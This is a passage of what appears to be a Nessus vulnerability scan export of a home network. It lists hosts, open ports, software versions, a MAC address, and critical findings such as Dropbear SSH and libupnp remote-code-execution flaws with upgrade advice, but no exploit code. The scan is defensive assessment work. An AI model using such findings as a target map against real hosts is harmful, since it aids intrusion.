    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7406		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		54615						None		192.168.0.1		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 80
										None								5/23/11		5/23/11

		56984						None		192.168.0.1		tcp		4567		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		56984						None		192.168.0.1		tcp		8890		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		93650		CVE-2016-7407		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7408		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7409		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7406		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7407		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		70544						None		192.168.0.1		tcp		4567		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70544						None		192.168.0.1		tcp		8890		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		72779						None		192.168.0.1		tcp		53		DNS Server Version Detection		Nessus was able to obtain version information on the remote DNS
server.		Nessus was able to obtain version information by sending a special TXT
record query to the remote host.

Note that this version is not necessarily accurate and could even be
forged, as some DNS servers send the information based on a
configuration file.		n/a				
DNS server answer for "version.bind" (over TCP) :

  dnsmasq-2.62
										None				IAVT:0001-T-0937				3/3/14		9/22/20

		93650		CVE-2016-7408		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7409		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		86420						None		192.168.0.1		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 70:50:AF:94:E0:21
										None								10/16/15		5/13/20

		64394		CVE-2012-5958		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5959		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		121010						None		192.168.0.1		tcp		4567		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		121010						None		192.168.0.1		tcp		8890		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		136318						None		192.168.0.1		tcp		4567		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		136318						None		192.168.0.1		tcp		8890		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		10107						None		192.168.0.11		tcp		1268		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

UPnP/1.0 DLNADOC/1.50 Platinum/1.0.5.13										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10114		CVE-1999-0524		0		None		192.168.0.11		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.11		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.11		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.11 : 
192.168.0.35
192.168.0.11

Hop Count: 1
										None								11/27/99		8/20/20

		10881						None		192.168.0.11		tcp		22		SSH Protocol Versions Supported		A SSH server is running on the remote host.		This plugin determines the versions of the SSH protocol supported by
the remote SSH daemon.		n/a				The remote SSH daemon supports the following versions of the
SSH protocol :

  - 1.99
  - 2.0
										None								3/6/02		2/18/20

		11219						None		192.168.0.11		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.11		tcp		1268		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 1268/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.11		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Plex, Inc. Plex Media Server 1.20.3.3437
Confidence level : 85
Method : UPnP

 
The remote host is running Plex, Inc. Plex Media Server 1.20.3.3437										None								12/9/03		3/9/20

		12053						None		192.168.0.11		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.11 resolves as Plex.
										None								2/11/04		4/14/17

		19506						None		192.168.0.11		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 112 sec
										None								8/26/05		8/27/20

		19689						None		192.168.0.11		tcp		1268		Embedded Web Server Detection		The remote web server is embedded.		The remote web server cannot host user-supplied CGIs. CGI scanning
will be disabled on this server.		n/a														None								9/14/05		11/22/19

		22964						None		192.168.0.11		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.11		tcp		1268		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		25220						None		192.168.0.11		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.11		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.11:32469/DeviceDescription.xml

And advertises these unique service names :

    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::upnp:rootdevice
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:schemas-upnp-org:device:MediaServer:1
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:schemas-upnp-org:service:ContentDirectory:1
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:schemas-upnp-org:service:ConnectionManager:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.11		tcp		32469		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.11:32469/DeviceDescription.xml :

deviceType: urn:schemas-upnp-org:device:MediaServer:1
friendlyName: Plex Media Server: Plex-Container
manufacturer: Plex, Inc.
manufacturerURL: http://www.plexapp.com/
